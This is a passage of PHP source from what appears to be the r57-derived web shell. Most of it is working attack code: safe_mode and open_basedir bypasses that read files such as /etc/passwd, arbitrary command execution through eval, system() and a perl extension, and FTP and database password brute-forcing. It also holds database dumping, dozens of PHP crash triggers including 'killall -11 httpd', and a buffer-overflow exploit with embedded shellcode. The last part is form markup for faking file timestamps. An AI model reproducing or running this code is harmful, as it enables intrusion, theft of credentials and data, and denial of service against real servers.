4996 }
4997 @mssql_query("drop table r57_temp_table",$db);
4998 }
4999 else echo "[-] ERROR! Can't select database";
5000 @mssql_close($db);
5001 }
5002 else echo "[-] ERROR! Can't connect to MSSQL server";
5003 break;
5004 case 'test5':
5005 $temp=tempnam($dir, "fname");
5006 if (@file_exists($temp)) @unlink($temp);
5007 $extra = "-C ".$_POST['test5_file']." -X $temp";
5008 @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
5009 $str = moreread($temp);
5010 echo htmlspecialchars($str);
5011 @unlink($temp);
5012 break;
5013 case 'test6':
5014 $stream = @imap_open('/etc/passwd', "", "");
5015 $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
5016 for ($i = 0; $i < count($dir_list); $i++) echo htmlspecialchars($dir_list[$i])."\r\n";
5017 @imap_close($stream);
5018 break;
5019 case 'test7':
5020 $stream = @imap_open($_POST['test7_file'], "", "");
5021 $str = @imap_body($stream, 1);
5022 echo htmlspecialchars($str);
5023 @imap_close($stream);
5024 break;
5025 case 'test8':
5026 $temp=@tempnam($_POST['test8_file2'], "copytemp");
5027 $str = readzlib($_POST['test8_file1'],$temp);
5028 echo htmlspecialchars($str);
5029 @unlink($temp);
5030 break;
5031
5032 case 'test9':
5033 @ini_restore("safe_mode");
5034 @ini_restore("open_basedir");
5035 $str = moreread($_POST['test9_file']);
5036 echo htmlspecialchars($str);
5037 break;
5038 case 'test10':
5039 @ob_clean();
5040 $error_reporting = @ini_get('error_reporting');
5041 error_reporting(E_ALL ^ E_NOTICE);
5042 @ini_set("display_errors", 1);
5043 @ini_alter("display_errors", 1);
5044 $str=@fopen($_POST['test10_file'],"r");
5045 while(!feof($str)){print htmlspecialchars(fgets($str));}
5046 fclose($str);
5047 error_reporting($error_reporting);
5048 break;
5049 case 'test11':
5050 @ob_clean();
5051 $temp = 'zip://'.$_POST['test11_file'];
5052 $str = moreread($temp);
5053 echo htmlspecialchars($str);
5054 break;
5055 case 'test12':
5056 @ob_clean();
5057 $temp = 'compress.bzip2://'.$_POST['test12_file'];
5058 $str = moreread($temp);
5059 echo htmlspecialchars($str);
5060 break;
5061 case 'test13':
5062 @error_log($_POST['test13_file1'], 3, "php://../../../../../../../../../../../".$_POST['test13_file2']);
5063 echo $lang[$language.'_text61'];
5064 break;
5065 case 'test14':
5066 @session_save_path($_POST['test14_file2']."\0;$tempdir");
5067 @session_start();
5068 @$_SESSION[php]=$_POST['test14_file1'];
5069 echo $lang[$language.'_text61'];
5070 break;
5071 case 'test15':
5072 @readfile($_POST['test15_file1'], 3, "php://../../../../../../../../../../../".$_POST['test15_file2']);
5073 echo $lang[$language.'_text61'];
5074
5075 break;
5076 case 'test_5_2_6':
5077echo getcwd()."\n";
5078chdir($_POST['test_5_2_6']);
5079echo getcwd()."\n";
5080 break;
5081
5082
5083 case 'test2_5_2_6':
5084var_dump(posix_access($_POST['test15_file1']));
5085
5086
5087 break;
5088
5089 case 'test_5_2_4':
5090//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
5091
5092
5093//author: shinnai
5094//mail: shinnai[at]autistici[dot]org
5095//site: http://shinnai.altervista.org
5096
5097
5098//Tested on xp Pro sp2 full patched, worked both from the cli and on apache
5099
5100
5101//Technical details:
5102//ionCube version: 6.5
5103//extension: ioncube_loader_win_5.2.dll (other may also be vulnerable)
5104//url: www.egyspider.eu
5105
5106
5107//php.ini settings:
5108//safe_mode = On
5109//disable_functions = ioncube_read_file, readfile
5110
5111
5112//Description:
5113//This is useful to obtain juicy informations but also to retrieve source
5114//code of php pages, password files, etc... you just need to change file path.
5115//Anyway, don't worry, nobody will read your obfuscated code :)
5116
5117
5118//greetz to: BlackLight for help me to understand better PHP
5119
5120
5121//P.S.
5122//This extension contains even an interesting ioncube_write_file function...
5123
5124
5125if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required! You are now can establish any order");
5126
5127
5128$path = str_repeat("..\\", 20);
5129
5130
5131$MyBoot_readfile = readfile($path."windows\\system.ini"); #just to be sure that I set correctely disable_function :)
5132
5133
5134$MyBoot_ioncube = ioncube_read_file($path."boot.ini");
5135
5136
5137echo $MyBoot_readfile;
5138
5139
5140echo "<br><br>ionCube output:<br><br>";
5141
5142
5143echo $MyBoot_ioncube;
5144 break;
5145
5146
5147
5148 case 'egy_perl':
5149if(!extension_loaded('perl'))die('perl extension is not loaded');
5150if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
5151if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
5152$perl=new perl();
5153echo "<textarea rows='25' cols='75'>";
5154$perl->eval("system('".$_GET['cmd']."')");
5155echo "</textarea>";
5156$_GET['cmd']=htmlspecialchars($_GET['cmd']);
5157 break;
5158
5159 break;
5160 case 'egy_4_2_0':
5161 for ($i = 0; $i < 60000; $i++)
5162 {
5163 if (($tab = @posix_getpwuid($i)) != NULL)
5164 {
5165 echo $tab['name'].":";
5166 echo $tab['passwd'].":";
5167 echo $tab['uid'].":";
5168 echo $tab['gid'].":";
5169 echo $tab['gecos'].":";
5170 echo $tab['dir'].":";
5171 echo $tab['shell']."<br>";
5172 }
5173 }
5174 break;
5175
5176
5177
5178
5179 case 'egy_5_2_3':
5180//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass
5181
5182
5183//author: egy spider
5184//mail: egy_spider@hotmail.com
5185//site: http://egyspider.eu
5186
5187
5188//Tested on xp Pro sp2 full patched, worked both from the cli and on apache
5189
5190
5191//Thanks to rgod for all his precious advises :)
5192
5193
5194//I set php.ini in this way:
5195//safe_mode = On
5196//disable_functions = system
5197//if you launch the exploit from the cli, cmd.exe will be wxecuted
5198//if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager
5199
5200
5201if (!extension_loaded("win32std")) die("win32std extension required!");
5202system("cmd.exe"); //just to be sure that protections work well
5203win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
5204 break;
5205
5206
5207 break;
5208
5209
5210 case 'test16':
5211 if (@fopen('srpath://../../../../../../../../../../../'.$_POST['test16_file'],"a")) echo $lang[$language.'_text61'];
5212 break;
5213 case 'test17_1':
5214 @unlink('symlinkread');
5215 @symlink('a/a/a/a/a/a/', 'dummy');
5216 @symlink('dummy/../../../../../../../../../../../'.$_POST['test17_file'], 'symlinkread');
5217 @unlink('dummy');
5218 while (1)
5219 {
5220 @symlink('.', 'dummy');
5221 @unlink('dummy');
5222 }
5223 break;
5224 case 'test17_2':
5225 $str='';
5226 while (strlen($str) < 3) {
5227/* $str = moreread('symlinkread');*/
5228 $str = @file_get_contents('symlinkread');
5229 if($str){ @ob_clean(); echo htmlspecialchars($str);}
5230 }
5231 break;
5232 case 'test17_3':
5233 $dir = $files = array();
5234 if(@version_compare(@phpversion(),"5.0.0")>=0){
5235 while (@count($dir) < 3) {
5236 $dir=@scandir('symlinkread');
5237 if (@count($dir) > 2) {@ob_clean(); @print_r($dir); }
5238 }
5239 }
5240 else {
5241 while (@count($files) < 3) {
5242 $dh = @opendir('symlinkread');
5243 while (false !== ($filename = @readdir($dh))) {
5244 $files[] = $filename;
5245 }
5246 if(@count($files) > 2){@ob_clean(); @print_r($files); }
5247 }
5248 }
5249 break;
5250 case 'test18':
5251 @putenv("TMPDIR=".$_POST['test18_file2']);
5252 @ini_set("session.save_path", "");
5253 @ini_alter("session.save_path", "");
5254 @session_start();
5255 @$_SESSION[php]=$_POST['test18_file1'];
5256 echo $lang[$language.'_text61'];
5257 break;
5258 case 'test19':
5259 if(empty($_POST['test19_port'])) { $_POST['test19_port'] = "3306"; }
5260 $m = new mysqli('localhost',$_POST['test19_ml'],$_POST['test19_mp'],$_POST['test19_md'],$_POST['test19_port']);
5261 if(@mysqli_connect_errno()){ echo "[-] ERROR! Can't connect to mysqli server: ".mysqli_connect_error() ;};
5262 $m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
5263 $m->set_local_infile_handler("r");
5264 $m->query("DROP TABLE IF EXISTS temp_r57_table");
5265 $m->query("CREATE TABLE temp_r57_table ( 'file' LONGBLOB NOT NULL )");
5266 $m->query("LOAD DATA LOCAL INFILE \"".$_POST['test19_file']."\" INTO TABLE temp_r57_table");
5267 $r = $m->query("SELECT * FROM temp_r57_table");
5268 while(($r_sql = @mysqli_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; }
5269 $m->query("DROP TABLE IF EXISTS temp_r57_table");
5270 $m->close();
5271 break;
5272 }
5273}
5274
5275
5276if((!$safe_mode) && ($_POST['cmd']!="php_eval") && ($_POST['cmd']!="mysql_dump") && ($_POST['cmd']!="db_query") && ($_POST['cmd']!="ftp_brute") && ($_POST['cmd']!="db_brute")){
5277 $cmd_rep = ex($_POST['cmd']);
5278 if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
5279 else { echo @htmlspecialchars($cmd_rep)."\n"; }
5280}/*elseif($safe_mode){
5281 $cmd_rep = safe_ex($_POST['cmd']);
5282 if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
5283 else { echo @htmlspecialchars($cmd_rep)."\n"; }
5284}
5285*/
5286
5287
5288switch($_POST['cmd'])
5289{
5290 case 'dos1':
5291 function a() { a(); } a();
5292 break;
5293 case 'dos2':
5294 @pack("d4294967297", 2);
5295 break;
5296 case 'dos3':
5297 $a = "a";@unserialize(@str_replace('1', 2147483647, @serialize($a)));
5298 break;
5299 case 'dos4':
5300 $t = array(1);while (1) {$a[] = &$t;};
5301 break;
5302 case 'dos5':
5303 @dl("sqlite.so");$db = new SqliteDatabase("foo");
5304 break;
5305 case 'dos6':
5306 preg_match('/(.(?!b))*/', @str_repeat("a", 10000));
5307 break;
5308 case 'dos7':
5309 @str_replace("A", str_repeat("B", 65535), str_repeat("A", 65538));
5310 break;
5311 case 'dos8':
5312 @shell_exec("killall -11 httpd");
5313 break;
5314 case 'dos9':
5315 function cx(){ @tempnam("/www/", '../../../../../..'.$tempdir.'cx'); cx(); } cx();
5316 break;
5317 case 'dos10':
5318 $a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap ($a,0,$b,0);
5319 break;
5320 case 'dos11':
5321 @array_fill(1,123456789,"Infigo-IS");
5322 break;
5323 case 'dos12':
5324 @substr_compare("A","A",12345678);
5325 break;
5326 case 'dos13':
5327 @unserialize("a:2147483649:{");
5328 break;
5329 case 'dos14':
5330 $Data = @str_ireplace("\n", "<br>", $Data);
5331 break;
5332 case 'dos15':
5333 function toUTF($x) {return chr(($x >> 6) + 192) . chr(($x & 63) + 128);}
5334 $str1 = "";for($i=0; $i < 64; $i++){ $str1 .= toUTF(977);}
5335 @htmlentities($str1, ENT_NOQUOTES, "UTF-8");
5336 break;
5337 case 'dos16':
5338 $r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r, $e);
5339 for ($i=0; $i<1000; $i++) $arr[$i]=array(array(""));
5340 unset($arr[600]);@zip_entry_read($e, -1);unset($arr[601]);
5341 break;
5342 case 'dos17':
5343 $z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU";
5344 $y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
5345 $x = "AQ ";
5346 unset($z);unset($y);$x = base64_decode($x);$y = @sqlite_udf_decode_binary($x);unset($x);
5347 break;
5348 case 'dos18':
5349 $MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY, 0600);
5350 if (!@msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err))
5351 echo "Msg not sent because $msg_err\n";
5352 if (@msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) {
5353 echo "$msg\n";
5354 } else { echo "Received $msg_error fetching message\n"; break; }
5355 @msg_remove_queue ($msg_id);
5356 break;
5357 case 'dos19':
5358 $url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd"; @fopen($url, "r");
5359 break;
5360 case 'dos20':
5361 $hashtable = str_repeat("A", 39);
5362 $hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);$hashtable[5*4+2]=chr(0x06);$hashtable[5*4+3]=chr(0x08);
5363 $hashtable[8*4+0]=chr(0x66);$hashtable[8*4+1]=chr(0x77);$hashtable[8*4+2]=chr(0x88);$hashtable[8*4+3]=chr(0x99);
5364 $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
5365 for ($i=0; $i<65535; $i++) { $str .= 'i:0;R:2;'; }
5366 $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
5367 @unserialize($str);
5368 break;
5369 case 'dos21':
5370 imagecreatetruecolor(1234,1073741824);
5371 break;
5372 case 'dos22':
5373 imagecopyresized(imagecreatetruecolor(0x7fffffff, 120),imagecreatetruecolor(120, 120), 0, 0, 0, 0, 0x7fffffff, 120, 120, 120);
5374 break;
5375 case 'dos23':
5376 $a = str_repeat ("A",9989776); $b = str_repeat("/", 2798349); iconv_substr($a,0,1,$b);
5377 break;
5378 case 'dos24':
5379 setlocale(LC_COLLATE, str_repeat("A", 34438013));
5380 break;
5381 case 'dos25':
5382 glob(str_repeat("A", 9638013));
5383 break;
5384 case 'dos26':
5385 glob("a",-1);
5386 break;
5387 case 'dos27':
5388 fnmatch("*[1]e", str_repeat("A", 9638013));
5389 break;
5390 case 'dos28':
5391 if (extension_loaded("gd")){ $buff = str_repeat("A",9999); $res = imagepsloadfont($buff); echo "boom!!\n";}
5392 break;
5393 case 'dos29':
5394 if(function_exists('msql_connect')){ msql_pconnect(str_repeat('A',49424).'BBBB'); msql_connect(str_repeat('A',49424).'BBBB');}
5395 break;
5396 case 'dos30':
5397 $a=str_repeat("A", 65535); $b=1; $c=str_repeat("A", 65535); chunk_split($a,$b,$c);
5398 break;
5399 case 'dos31':
5400 if (extension_loaded("win32std") ) { win_browse_file( 1, NULL, str_repeat( "\x90", 264 ), NULL, array( "*" => "*.*" ) );}
5401 break;
5402 case 'dos32':
5403 if (extension_loaded( "iisfunc" ) ){ $buf_unicode = str_repeat( "A", 256 ); $eip_unicode = "\x41\x41"; iis_getservicestate( $buf_unicode . $eip_unicode );}
5404 break;
5405 case 'dos33':
5406 $buff = str_repeat("\x41", 250);$get_EIP = "\x42\x42";$get_ESP = str_repeat("\x43", 100);$get_EBP = str_repeat("\x44", 100);ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP);
5407 break;
5408 case 'dos34':
5409 if (extension_loaded("bz2")){ $buff = str_repeat("a",1000); com_print_typeinfo($buff);}
5410 break;
5411 case 'dos35':
5412 $a = str_repeat("/", 4199000); iconv(1, $a, 1);
5413 break;
5414 case 'dos36':
5415 $a = str_repeat("/", 2991370); iconv_mime_decode_headers(0, 1, $a);
5416 break;
5417 case 'dos37':
5418 $a = str_repeat("/", 3799000); iconv_mime_decode(1, 0, $a);
5419 break;
5420 case 'dos39':
5421 sprintf("[%'A2147483646s]\n", "A");
5422 break;
5423 break;
5424 case 'dos40':
5425// PHP <= 4.4.6 mssql_connect() & mssql_pconnect() local buffer overflow
5426// poc exploit (and safe_mode bypass)
5427// windows 2000 sp3 en / seh overwrite
5428// by rgod
5429// site: http://egyspider.eu
5430
5431
5432// u can easily adjust for php5
5433// this as my little contribute to MOPB
5434
5435
5436$____scode=
5437"\xeb\x1b".
5438"\x5b".
5439"\x31\xc0".
5440"\x50".
5441"\x31\xc0".
5442"\x88\x43\x59".
5443"\x53".
5444"\xbb\xca\x73\xe9\x77". //WinExec
5445"\xff\xd3".
5446"\x31\xc0".
5447"\x50".
5448"\xbb\x5c\xcf\xe9\x77". //ExitProcess
5449"\xff\xd3".
5450"\xe8\xe0\xff\xff\xff".
5451"\x63\x6d\x64".
5452"\x2e".
5453"\x65".
5454"\x78\x65".
5455"\x20\x2f".
5456"\x63\x20".
5457"start notepad & ";
5458
5459
5460 $eip="\xdc\xf5\x12";
5461 $____suntzu=str_repeat("\x90",100);
5462 $____suntzu.=$____scode;
5463 $____suntzu.=str_repeat("a",2460 - strlen($____scode));
5464 $____suntzu.=$eip;
5465 break;
5466 case 'zend':
5467 if(empty($_POST['zend'])){
5468} else {
5469
5470
5471$dezend=$_POST['zend'];
5472include($_POST['zend']);
5473print_r($GLOBALS);
5474require_once("$dezend");
5475echo "</textarea></p>";
5476}
5477break;
5478 case 'dos38':
5479 $a = str_repeat("/", 9791999); iconv_strlen(1, $a);
5480 break;
5481}
5482if ($_POST['cmd']=="php_eval"){
5483 $eval = @str_replace("<?","",$_POST['php_eval']);
5484 $eval = @str_replace("?>","",$eval);
5485 @eval($eval);}
5486
5487
5488if ($_POST['cmd']=="ftp_brute")
5489 {
5490 $suc = 0;
5491 if($_POST['brute_method']=='passwd'){
5492 foreach($users as $user)
5493 {
5494 $connection = @ftp_connect($ftp_server,$ftp_port,10);
5495 if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
5496 else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
5497 @ftp_close($connection);
5498 }
5499 }else if(($_POST['brute_method']=='dic') && isset($_POST['ftp_login'])){
5500 foreach($users as $user)
5501 {
5502 $connection = @ftp_connect($ftp_server,$ftp_port,10);
5503 if(@ftp_login($connection,$_POST['ftp_login'],$user)) { echo "[+] ".$_POST['ftp_login'].":$user - success\r\n"; $suc++; }
5504 @ftp_close($connection);
5505 }
5506 }
5507 echo "\r\n-------------------------------------\r\n";
5508 $count = count($users);
5509 if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; }
5510 echo $lang[$language.'_text97'].$count."\r\n";
5511 echo $lang[$language.'_text98'].$suc."\r\n";
5512 }
5513
5514
5515if ($_POST['cmd']=="db_brute")
5516 {
5517 $suc = 0;
5518 if($_POST['brute_method']=='passwd'){
5519 foreach($users as $user)
5520 {
5521 $sql = new my_sql();
5522 $sql->db = $_POST['db'];
5523 $sql->host = $_POST['db_server'];
5524 $sql->port = $_POST['db_port'];
5525 $sql->user = $user;
5526 $sql->pass = $user;
5527 if($sql->connect()) { echo "[+] $user:$user - success\r\n"; $suc++; }
5528 }
5529 if(isset($_POST['reverse']))
5530 {
5531 foreach($users as $user)
5532 {
5533 $sql = new my_sql();
5534 $sql->db = $_POST['db'];
5535 $sql->host = $_POST['db_server'];
5536 $sql->port = $_POST['db_port'];
5537 $sql->user = $user;
5538 $sql->pass = strrev($user);
5539 if($sql->connect()) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; }
5540 }
5541 }
5542 }else if(($_POST['brute_method']=='dic') && isset($_POST['mysql_l'])){
5543 foreach($users as $user)
5544 {
5545 $sql = new my_sql();
5546 $sql->db = $_POST['db'];
5547 $sql->host = $_POST['db_server'];
5548 $sql->port = $_POST['db_port'];
5549 $sql->user = $_POST['mysql_l'];
5550 $sql->pass = $user;
5551 if($sql->connect()) { echo "[+] ".$_POST['mysql_l'].":$user - success\r\n"; $suc++; }
5552 }
5553 }
5554 echo "\r\n-------------------------------------\r\n";
5555 $count = count($users);
5556 if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; }
5557 echo $lang[$language.'_text97'].$count."\r\n";
5558 echo $lang[$language.'_text98'].$suc."\r\n";
5559 }
5560
5561
5562if ($_POST['cmd']=="mysql_dump")
5563 {
5564 if(isset($_POST['dif'])) { morewrite($_POST['dif_name'], "mysql_dump\r\n"); }
5565 $sql = new my_sql();
5566 $sql->db = $_POST['db'];
5567 $sql->host = $_POST['db_server'];
5568 $sql->port = $_POST['db_port'];
5569 $sql->user = $_POST['mysql_l'];
5570 $sql->pass = $_POST['mysql_p'];
5571 $sql->base = $_POST['mysql_db'];
5572 if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
5573 else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
5574 else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
5575 else {
5576 if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
5577 else if(@is_writable($_POST['dif_name'])){ foreach($sql->dump as $v){ morewrite($_POST['dif_name'], $v."\r\n");} }
5578 else { echo "[-] ERROR! Can't write in dump file"; }
5579 }
5580 }
5581
5582
5583echo "</textarea></div>";
5584echo "</b>";
5585echo "</td></tr></table>";
5586echo "<table width=100% cellpadding=0 cellspacing=0>";
5587
5588
5589function div_title($title, $id)
5590{
5591 return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
5592}
5593function div($id)
5594 {
5595 if(isset($_COOKIE[$id]) && ($_COOKIE[$id]==0)) return '<div id="'.$id.'" style="display: none;">';
5596 $divid=array('id5','id6','id8','id9','id10','id11','id16','id24','id25','id26','id27','id28','id29','id33','id34','id35','id37','id38','id39');
5597 if(empty($_COOKIE[$id]) && @in_array($id,$divid)) return '<div id="'.$id.'" style="display: none;">';
5598 return '<div id="'.$id.'">';
5599 }
5600
5601if(!$safe_mode){
5602echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
5603echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
5604echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
5605echo $te.'</div>'.$table_end1.$fe;
5606}
5607else{
5608echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
5609echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
5610echo $te.'</div>'.$table_end1.$fe;
5611}
5612echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
5613echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
5614echo $te.'</div>'.$table_end1.$fe;
5615
5616
5617
5618
5619
5620
5621
5622
5623
5624
5625
5626
5627
5628
5629echo $fs.$table_up1.div_title($lang[$language.'_text210'],'id20').$table_up2.div('id20').$ts;
5630echo "<table class=table1 width=100% align=center>";
5631echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','zend',85,(!empty($_POST['zend'])?($_POST['zend']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'zend').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5632echo $te.'</div>'.$table_end1.$fe;
5633
5634
5635{
5636echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
5637echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
5638echo $te.'</div>'.$table_end1.$fe;
5639}
5640
5641
5642if($unix && @function_exists('touch')){
5643echo $fs.$table_up1.div_title($lang[$language.'_text128'],'id5').$table_up2.div('id5').$ts;
5644echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','file_name',40,(!empty($_POST['file_name'])?($_POST['file_name']):($_SERVER["SCRIPT_FILENAME"])))
5645.ws(4)."<b>".$lang[$language.'_text26'].ws(2).$lang[$language.'_text59'].$arrow."</b>"
5646.ws(2).in('text','file_name_r',40,(!empty($_POST['file_name_r'])?($_POST['file_name_r']):(""))));
5647echo sr(15,"<b> or set Day".$arrow."</b>",
5648'
5649<select name="day" size="1">
5650<option value="01">1</option>
5651<option value="02">2</option>
5652<option value="03">3</option>
5653<option value="04">4</option>
5654<option value="05">5</option>
5655<option value="06">6</option>
5656<option value="07">7</option>
5657<option value="08">8</option>
5658<option value="09">9</option>
5659<option value="10">10</option>
5660<option value="11">11</option>
5661<option value="12">12</option>
5662<option value="13">13</option>
5663<option value="14">14</option>
5664<option value="15">15</option>
5665<option value="16">16</option>
5666<option value="17">17</option>
5667<option value="18">18</option>
5668<option value="19">19</option>
5669<option value="20">20</option>
5670<option value="21">21</option>
5671<option value="22">22</option>
5672<option value="23">23</option>
5673<option value="24">24</option>
5674<option value="25">25</option>
5675<option value="26">26</option>
5676<option value="27">27</option>
5677<option value="28">28</option>
5678<option value="29">29</option>
5679<option value="30">30</option>
5680<option value="31">31</option>
5681</select>'
5682.ws(4)."<b>Month".$arrow."</b>"
5683.'
5684<select name="month" size="1">
5685<option value="January">January</option>
5686<option value="February">February</option>
5687<option value="March">March</option>
5688<option value="April">April</option>
5689<option value="May">May</option>
5690<option value="June">June</option>
5691<option value="July">July</option>
5692<option value="August">August</option>
5693<option value="September">September</option>
5694<option value="October">October</option>
5695<option value="November">November</option>
5696<option value="December">December</option>
5697</select>'
5698.ws(4)."<b>Year".$arrow."</b>"
5699.'
5700<select name="year" size="1">
5701<option value="1998">1998</option>
5702<option value="1999">1999</option>
5703<option value="2000">2000</option>
5704<option value="2001">2001</option>
5705<option value="2002">2002</option>
5706<option value="2003">2003</option>
5707<option value="2004">2004</option>
5708<option value="2005">2005</option>
5709<option value="2006">2006</option>
5710<option value="2006">2007</option>
5711<option value="2006">2008</option>
5712<option value="2006">2009</option>
5713<option value="2006">2010</option>
5714</select>'
5715.ws(4)."<b>Hour".$arrow."</b>"
5716.'
5717<select name="chasi" size="1">
5718<option value="01">01</option>
5719<option value="02">02</option>
5720<option value="03">03</option>
5721<option value="04">04</option>
5722<option value="05">05</option>
5723<option value="06">06</option>
5724<option value="07">07</option>
5725<option value="08">08</option>
5726<option value="09">09</option>
5727<option value="10">10</option>
5728<option value="11">11</option>
5729<option value="12">12</option>
5730<option value="13">13</option>
5731<option value="14">14</option>
5732<option value="15">15</option>
5733<option value="16">16</option>
5734<option value="17">17</option>
5735<option value="18">18</option>
5736<option value="19">19</option>
5737<option value="20">20</option>
5738<option value="21">21</option>
5739<option value="22">22</option>
5740<option value="23">23</option>
5741<option value="24">24</option>
5742</select>'
5743.ws(4)."<b>Minute".$arrow."</b>"
5744.'
5745<select name="minutes" size="1">
5746<option value="01">1</option>
5747<option value="02">2</option>
5748<option value="03">3</option>
5749<option value="04">4</option>
5750<option value="05">5</option>
5751<option value="06">6</option>
5752<option value="07">7</option>
5753<option value="08">8</option>
5754<option value="09">9</option>
5755<option value="10">10</option>
5756<option value="11">11</option>
5757<option value="12">12</option>
5758<option value="13">13</option>
5759<option value="14">14</option>
5760<option value="15">15</option>
5761<option value="16">16</option>
5762<option value="17">17</option>
5763<option value="18">18</option>
5764<option value="19">19</option>
5765<option value="20">20</option>
5766<option value="21">21</option>
5767<option value="22">22</option>
5768<option value="23">23</option>
5769<option value="24">24</option>
5770<option value="25">25</option>
5771<option value="26">26</option>
5772<option value="27">27</option>
5773<option value="28">28</option>
5774<option value="29">29</option>
5775<option value="30">30</option>
5776<option value="31">31</option>
5777<option value="32">32</option>
5778<option value="33">33</option>
5779<option value="34">34</option>
5780<option value="35">35</option>
5781<option value="36">36</option>
5782<option value="37">37</option>
5783<option value="38">38</option>
5784<option value="39">39</option>
5785<option value="40">40</option>
5786<option value="41">41</option>
5787<option value="42">42</option>
5788<option value="43">43</option>
5789<option value="44">44</option>
5790<option value="45">45</option>
5791<option value="46">46</option>
5792<option value="47">47</option>
5793<option value="48">48</option>
5794<option value="49">49</option>
5795<option value="50">50</option>
5796<option value="51">51</option>
5797<option value="52">52</option>
5798<option value="53">53</option>
5799<option value="54">54</option>
5800<option value="55">55</option>
5801<option value="56">56</option>
5802<option value="57">57</option>
5803<option value="58">58</option>
5804<option value="59">59</option>
5805</select>'
5806.ws(4)."<b>Second".$arrow."</b>"
5807.'
5808<select name="second" size="1">
5809<option value="01">1</option>
5810<option value="02">2</option>
5811<option value="03">3</option>
5812<option value="04">4</option>
5813<option value="05">5</option>
5814<option value="06">6</option>
5815<option value="07">7</option>
5816<option value="08">8</option>
5817<option value="09">9</option>
5818<option value="10">10</option>
5819<option value="11">11</option>
5820<option value="12">12</option>
5821<option value="13">13</option>
5822<option value="14">14</option>
5823<option value="15">15</option>
5824<option value="16">16</option>
5825<option value="17">17</option>
5826<option value="18">18</option>
5827<option value="19">19</option>
5828<option value="20">20</option>
5829<option value="21">21</option>
5830<option value="22">22</option>
5831<option value="23">23</option>
5832<option value="24">24</option>
5833<option value="25">25</option>
5834<option value="26">26</option>
5835<option value="27">27</option>
5836<option value="28">28</option>
5837<option value="29">29</option>
5838<option value="30">30</option>
5839<option value="31">31</option>
5840<option value="32">32</option>
5841<option value="33">33</option>
5842<option value="34">34</option>
5843<option value="35">35</option>
5844<option value="36">36</option>
5845<option value="37">37</option>
5846<option value="38">38</option>
5847<option value="39">39</option>
5848<option value="40">40</option>
